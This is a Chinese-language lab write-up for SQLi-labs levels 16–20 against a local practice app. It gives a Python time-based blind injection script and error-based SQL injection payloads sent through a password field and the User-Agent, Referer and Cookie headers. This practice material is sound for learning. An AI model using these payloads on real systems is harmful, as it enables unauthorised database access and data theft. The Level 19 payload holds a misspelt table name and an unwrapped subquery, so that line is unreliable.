SQL-labs练习记录(16~20)【post时间盲注,密码注入,UA注入,referer注入,cookie注入】
Less 16
这里仍旧是时间盲注,不过你需要先探测闭合。
以下两个都可以,and的第一个参数必须要为真才能执行后面的语句,第一个就是强行为真。
1") or 1=1 and sleep(2) --
admin") and sleep(2) --
在这里我们使用脚本来操作一下时间盲注,你也可以使用前文提到的dnslog注入。
这里补充一个post版本的脚本,思路和之前的get型大同小异。下面两个方法都会放出,你可以比较一下它们的异同:
import requests
import time
url = 'http://localhost/sqli-labs-master/Less-16/'
database_now="select database()"
database = 'select schema_name from information_schema.schemata'
tables = 'select table_name from information_schema.tables where table_schema=database()'#当前数据库的表
column = 'select column_name from information_schema.columns where table_name="users" and table_schema=database()'#table_name可以进行修改
data='select concat(username) from security.users'
def get_things(string):
result = ''
for i in range(1,30):
for j in range(48,123):
payload = '" and if(ascii(substr(({} limit 1,1),{},1))={},sleep(2),1) --+'.format(string,i,j)#limit的值可以改变
stime =time.time()
r = requests.get(url+payload)
etime = time.time()
if etime-stime >=2:#get前后的时间差值判断
result += chr(j)
print (result)
break
if j==122:#没有命中迅速跳出
break
def post_things(string):
result = ''
for i in range(1,30):
for j in range(48,123):
payload = 'admin") and if(ascii(substr(({} limit 2,1),{},1))={},sleep(2),1) -- '.format(string,i,j)#limit的值可以改变
data={
'uname':payload,
'passwd':'123',
}
stime =time.time()
#print(stime)
r = requests.post(url,data=data)
etime = time.time()
#print(etime)
if etime-stime >=2:#get前后的时间差值判断
result += chr(j)
print (result)
break
if j==122:#没有命中迅速跳出
break
#post_things(database_now)
post_things(database)
#get_things(database)#要遍历各个数据库的话需要改一改筛选位置
#get_things(tables)
#get_things(column)
#get_things(data)
如果你使用脚本时出现请求次数过多的短链接错误,可以查看之前的布尔注入脚本对request的部分属性更改,链接:
get型布尔、时间盲注
效果预览:
Less17
此题是对于密码重设环节进行注入,模拟场景为:
1.已知当前账户名,“忘记密码”>>>“重设密码”
2.想在重设密码的过程中进行注入,获取数据库、其他用户信息。
这里是密码栏的报错注入,利用updatexml和extractvalue两个函数即可。
payload:
admin
1' and (updatexml('anything',concat('~',database(),'~'),'123')) --
更多语法请看报错注入那一节
Less18
能够对 user-agent回显
1、先用Burp Suite抓取输入正确用户密码的登录页面
2、然后在报头文User-Agent:后加入注入语句即可
尝试一下会出现列数不匹配的情况。
多次尝试发现是三个参数,payload:
1',1,extractvalue('anything',concat('~',database(),'~')))#
值得一提的是这里要用#
来进行注释,用 --
不行
并且最后语句中会多半个括号)
这与源码有关,注意注意
Less19
这里会对referer回显,那么我们把语句放在referer栏来进行注入即可
payload:
1',updatexml('angthing',concat('~',select concat(schema_name) from information_schema.shcemata limit 0,1,'~'),'123'))#
对了,这里探测到列数只有两列哦
Less20
从cookie进行注入
如果你也是谷歌,为了避免错误。
在这里先修改一下
payload:
uname=' union select 1,2,(updatexml(1,concat('~',database(),'~'),123)#
不过在这里要删除直接post的数据,从cookie post